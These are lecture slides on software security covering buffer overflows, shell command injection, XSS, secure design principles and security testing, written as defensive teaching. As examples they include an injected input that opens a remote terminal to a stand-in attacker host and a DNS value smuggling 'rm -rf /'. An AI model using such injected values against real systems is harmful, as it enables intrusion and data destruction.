Software Security

Intro

- The quality of the software is critical for security
- Before Internet most software was tested only for providing the intended functions, not for withstanding a malign user
- This is a broad subject, here we focus mostly on input handling and present some methods to create more secure software

Buffer Overflows

- There are lots of these
  - Caused by sloppy coding (no bounds check on user input)
  - The true tool of the evil: gets() function
- Classical example: login.c source code:

```
char name[80], passwd[80], hash[13];
```

  - User types name
  - Hash loaded form /etc/passwd to hash
  - User enters the password **and** the corresponding hash when asked to enter only the password
    - No bounds checking
  - The rest is history

Buffer Overflows: Fix

- Never trust user input to be what you expect (quality or quantity)
- Always check the size of input
  - If there is more input than expected, truncate and preferably log
- Overflowing buffers can be used in more elaborate ways
  - The Great Worm of 1988 used fingerd to overflow its stack:

```
char buf[256];
...
gets (buf);
```

  - The syslogd bug
    - Bounds check ok on network input
    - BUT sprintf used to format log message => overflow there
- Avoid using functions with no bounds checking
  - gets, strcpy, strcat, sprintf, ...
- Use bounds-checking versions instead
  - fgets, strncpy, strncat, ...

Buffer overflows: Fix

- Avoid using functions with no bounds checking
  - gets, strcpy, strcat, sprintf, ...
- Use bounds-checking versions instead
  - fgets, strncpy, strncat, ...
  - Unfortunately, usually there is no bounds-checking version of sprintf
    - On some systems, there is snprintf
    - Be very careful what you feed to sprintf (truncate if too long)
    - Use careful formatting

```
char mybuf[21];
sprintf (mybuf, "%.20s", user_input);
```

Invalid Input

- Again: Never trust user input to be what you expect
  - And this applies to quite a few sources of input
    - Direct user input
    - Data from the network
    - DNS data (the parts you don't directly control)
    - Web forms or other input that are verified by a Javascript or remote Java application
- Also, do not trust data that you have written yourself to a file
  - Or data that two parts of the application use to communicate over the network

…Invalid Input

- Example: phf.pl (Web CGI script tool to make PH queries)
  - This script was part of default installation of some web servers
  - User inputs $name thru web form, then

    ```
    $result = `ph $name`;
    ```

  - What if user inputs e.g. "`foo; xterm -disp machine.attacker.com &`"
  - Backtick (`) command is executed thru /bin/sh
    - Which happily executes two commands

      ```
      ph foo
      xterm -disp machine.attacker.com &
      ```

    - In addition of making the requested query, this apparently has undesired side effect

…Invalid Input

- Fix 1: Filter shell metacharacters off from input
  - That is, remove | & ; ( ) < >
  - Known as a *blacklist*
  - But does not work
- Some shells use character with code 255 as command separator as well
  - Therefore, just replace ; by that and we roll again
- Linefeed is a valid Unix command separator
  - Can be coded as %0A to WWW URL
- And then there is Unicode and UTF-8...
- This filtering method is obviously flawed

…Invalid Input

- Better fix: Instead of just stripping off bad things we know of, leave only good input
  - In this case, remove everything but characters A-Z, a-z and 0-9 from input
    - Which are known to be valid input and not dangerous
  - Known as a *whitelist*
  - Of course, you have to know what is valid input
- Morale: If you are going to feed user input to any command interpreter, be very careful

…Invalid Input

- The same kinds of tricks can be pulled from unexpected sources, e.g. from DNS
- Example: ID system reports attack and finds out DNS reverse entry for attackers IP address using gethostbyaddr() function
  - The intrusion attempt is then reported:

```
sprintf (cmd, "echo attack from %s | mail abuse",
        reverse_name);
```

  - However, we (obviously) have no control over attackers DNS data.
  - The reverse map for that IP might contain the string

```
"machine.attacker.com; rm -rf /"
```

    - This is technically completely legal DNS data

TEKNILLINEN KORKEAKOULU

Cross Site Scripting (XSS)

- Many WWW services show one user's input to others
  - E.g. discussion forums
- The web browser interprets HTML, JavaScript etc.
- Thus a user can enter JavaScript to a WWW server and it is passed on to other users
- JavaScript is reasonably powerful programming language and it can e.g.
  - Redirect web pages,
  - Change the look of a page, adding material or graphics,
  - Redirect the user's input back to attacker
  - Perform actions using the access rights of the authorized user running the script
- See e.g. OWASP.org for more information

Preventing XSS

- Scrub both your input **and** output
  - Using a whitelist, define what is accepted, not what is forbidden
  - Define the encoding and allowed characters for the output
- Analyze your program code for the path of input and where various codings are interpreted
  - An initial whitelist can be circumvented by coding the input in a format that is uncoded later (Unicode, %-notation)
- Software libraries and frameworks exist that do this for you

Design Principles

- From "Computer Security, Art and Science" by Matt Bishop
- And from "The Protection of Information in Computer Systems" by J. Saltzer and M. Schroeder
- System design should be guided by simplicity and restriction
  - A simple system has less room for things to go wrong
- These principles can be used to guide practical software development

Design Principles 1-2

- 1. Principle of Least Privilege
  - A subject should be given only those privileges that it needs in order to complete its task
    - E.g. service processes should be run under separate user-ids, which have limited access to the rest of the system
- 2. Principle of Fail-Safe Defaults
  - Unless a subject is given explicit access to an object, it should be denied access to that object
    - The design should err on the conservative side
    - Also when an application fails to reach its objective, it should leave the system in a safe state

Design Principles 3-5

- 3. Principle of Economy of Mechanism
  - Security mechanisms should be as simple as possible
    - Less complexity means less openings for an attacker
    - Less code to verify or walk through
- 4. Principle of Complete Mediation
  - All access to objects should be checked to ensure that they are allowed
    - The checking should be done for each transaction, not just in the startup phase of an application
    - Beware of cached decisions
- 5. Principle of Open Design
  - The security of a mechanism should not depend on the secrecy of its design or implementation
    - E.g. DVD encryption

Design Principles 6-8

- 6. Principle of Separation of Privilege
  - A system should not grant permission based on a single condition
    - E.g. on some Unix systems to change from user to root requires both the password and that the user belongs to a specific group
    - Equal to "two key" systems used for nuclear weapons to minimize accidental actions
- 7. Principle of Least Common Mechanism
  - Mechanisms used to access resources should not be shared
    - E.g. instead having all services use the same operating system, virtual machines can be used
- 8. Principle of Psychological Acceptability
  - Security mechanisms should not make the resource more difficult to access than if the security mechanisms were not present

Creating Secure Software

- Besides principles and knowledge of the various attacks, software designers and programmers need experience
- Currently it is fair to say that secure software is produced by people who have experience in producing secure software
- Security needs have to be attended to beginning from the initial design
- If the architecture does not support security, it can not be installed afterwards
- If the programmers do not think about the security needs, they will write vulnerable code

Security Testing

- Traditional definition of software:
  - Does what the specification tells
  - Given 1, +, 1 returns 2
  - Testing is to make sure the correct input produces correct output
- Security testing is very different
  - Software should not do anything else than specified
  - The specifications should not allow bad stuff either

Security Testing

- There is no "test" for security
- Methodical testing reveals security vulnerabilities and increases the quality of the software
- There are many testing methods
  - Inserting known attacks
  - Code walkthroughs
  - Execution path analysis
- Testing should be used together with good programming practices

Security Testing Approaches

- Black box
  - No information about the internals of the system being tested
  - Not very useful, some tools exist that provide this functionality
    - E.g. automated testing of a WWW service for XSS
- White box
  - Knowledge of the internals
  - Enables to focus the testing
- Checklists
  - Testing or searching for known vulnerabilities
  - Good practice, but not sufficient

TEKNILLINEN KORKEAKOULU

Automated Security Testing

- There is no generic test for "security fault", but certain vulnerabilities can be detected
- Testing can operate on
  - Source code
  - Program in execution
- For example
  - Look for known bad practices,
    - Trivial: "grep gets *.c|grep -v fgets"
  - Analyze software behavior
    - Complex: create known benign and malign inputs and compare the output
- Automated testing is by nature 'fail open' but it assists in creating safe software

Testing During Software Development Lifecycle

- See OWASP Testing Guide at owasp.org for details
- Before a single line of code is written
  - Coding practices, standards and tools should be set
  - Testing plan should be made and metrics defined
    - E.g. what kind of log output is required
- Security requirements have to show up in the design and models
- Code should be reviewed during development
- Before deployment penetration testing
- Reviewing and checking continues during operations

TEKNILLINEN KORKEAKOULU

Summary of Software Security

- Our programming practices are changing
- Security will involve everybody in the software process
- Requirements for security also increase the general quality of software
- Testing is becoming more organized and an integrated part of software development
  - Like TDD, Test Driven Development
- But: software development requires skill and experience
  - Just blindly following the different methods and techniques does not produce results

Questions for the exam

- How would you prevent a buffer overflow happening in a program you are writing
- Does the choice of a programming language affect the likelihood of a buffer overflow
- You are in charge of writing a new exam signup software for the university. Describe
  - three attacks you have to defend against
  - three types of vulnerabilities you avoid on software development
  - three practices you use to design the software
  - three changes you make to a software process that has designed without thinking about security at all